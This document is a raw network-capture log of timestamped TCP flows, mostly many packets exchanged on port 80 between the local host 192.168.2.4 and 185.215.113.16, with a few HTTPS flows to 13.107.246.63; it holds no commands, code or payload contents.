Nov 23, 2024 20:23:46.110385895 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.114188910 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.114320993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.114365101 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.118189096 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.118308067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.118346930 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.122246027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.122334957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.124664068 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.126130104 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.126225948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.126261950 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.130131006 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.130198956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.130232096 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.134079933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.134121895 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.134162903 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.135905981 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.138066053 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.138180971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.138219118 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.140795946 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.140871048 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.142079115 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.142199039 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.142237902 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.142354965 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.142402887 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.142433882 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.142451048 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.144799948 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.144815922 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.144889116 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.145040989 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.145051956 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.146037102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.146109104 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.146156073 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.149981976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.150023937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.150062084 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.153994083 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.154076099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.154112101 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.157958031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.158041954 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.158076048 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.161909103 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.162014961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.162056923 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.165890932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.165977955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.166017056 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.169929028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.170047045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.170090914 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.173827887 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.173919916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.173962116 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.177834988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.177933931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.177970886 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.181801081 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.181899071 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.181940079 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.185781002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.185868979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.185908079 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.189749956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.189855099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.189899921 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.193758965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.193852901 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.193896055 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.197709084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.197808027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.197853088 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.201688051 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.201803923 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.201857090 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.205681086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.205781937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.205826044 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.209650993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.209687948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.209733963 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.213635921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.213731050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.213773012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.217732906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.217745066 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.217798948 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.280229092 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.280291080 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.280340910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.281869888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.282500982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.282540083 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.282603979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.285890102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.285939932 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.285995007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.291608095 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.291620016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.291651964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.294070959 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.294081926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.294106007 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.296677113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.296686888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.296717882 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.299417019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.299460888 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.299532890 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.302800894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.302850008 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.302917957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.306181908 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.306282997 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.306308985 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.309146881 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.309201002 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.309257030 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.312061071 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.312103033 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.312122107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.314910889 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.314954042 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.315006018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.317821980 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.317862988 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.317966938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.320655107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.320702076 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.320816994 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.323549986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.323594093 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.323648930 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.327994108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.328005075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.328039885 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.330760956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.330784082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.330806971 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.333492041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.333535910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.333642960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.336395025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.336442947 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.336549997 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.338987112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.339030027 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.339139938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.341555119 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.341602087 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.341723919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.342787027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.342832088 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.342890024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.345283985 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.345326900 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.345385075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.347814083 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.347867012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.347937107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.350577116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.350619078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.350625992 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.351828098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.351875067 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.351923943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.353358984 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.353409052 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.353466034 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.354906082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.354953051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.355006933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.356441021 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.356481075 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.356596947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.357961893 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.358012915 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.358066082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.359491110 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.359538078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.359608889 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.361057997 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.361105919 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.361146927 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.362569094 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.362612009 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.362685919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.364108086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.364156008 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.364223003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.365641117 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.365689039 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.365746021 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.367146015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.367218018 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.367269039 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.368683100 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.368751049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.368802071 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.370238066 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.370289087 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.370408058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.371767044 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.371814966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.371881962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.373281956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.373327971 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.373372078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.374805927 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.374850035 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.374869108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.376378059 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.376422882 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.376491070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.377896070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.377944946 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.378012896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.379409075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.379451990 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.379528999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.380999088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.381041050 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.381170034 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.382458925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.382500887 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.382519007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.384007931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.384047985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.384124041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.385555983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.385607958 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.385634899 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.387098074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.387142897 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.387217999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.388628960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.388669968 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.388686895 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.390147924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.390191078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.390250921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.391671896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.391716003 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.391776085 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.393220901 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.393265009 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.439569950 CET	80	49875	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:46.439615965 CET	49875	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:46.482920885 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.483089924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.483133078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.483411074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.484050035 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.484061003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.484082937 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.485390902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.485428095 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.485573053 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.486881971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.486916065 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.487068892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.488447905 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.488490105 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.488632917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.489923954 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.489964008 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.490111113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.491564035 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.491575956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.491596937 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.493027925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.493067980 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.493208885 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.494651079 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.494657993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.494699001 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.496104002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.496144056 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.496280909 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.497726917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.497737885 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.497761011 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.499191999 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.499232054 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.499377012 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.500662088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.500701904 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.500794888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.502276897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.502413034 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.502429962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.503707886 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.503755093 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.503896952 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.505362988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.505404949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.505522966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.506803989 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.506855011 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.506954908 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.508088112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.508099079 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.508143902 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.508575916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.508629084 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.508692026 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.510077953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.510117054 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.510207891 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.511624098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.511687994 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.511708975 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.513190985 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.513204098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.513223886 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.514688969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.514730930 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.514812946 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.516485929 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.516522884 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.516597986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.517901897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.517935038 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.517957926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.519278049 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.519318104 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.519398928 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.520827055 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.520864964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.520893097 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.522372961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.522438049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.522485018 CET	80	49870	185.215.113.16	192.168.2.4
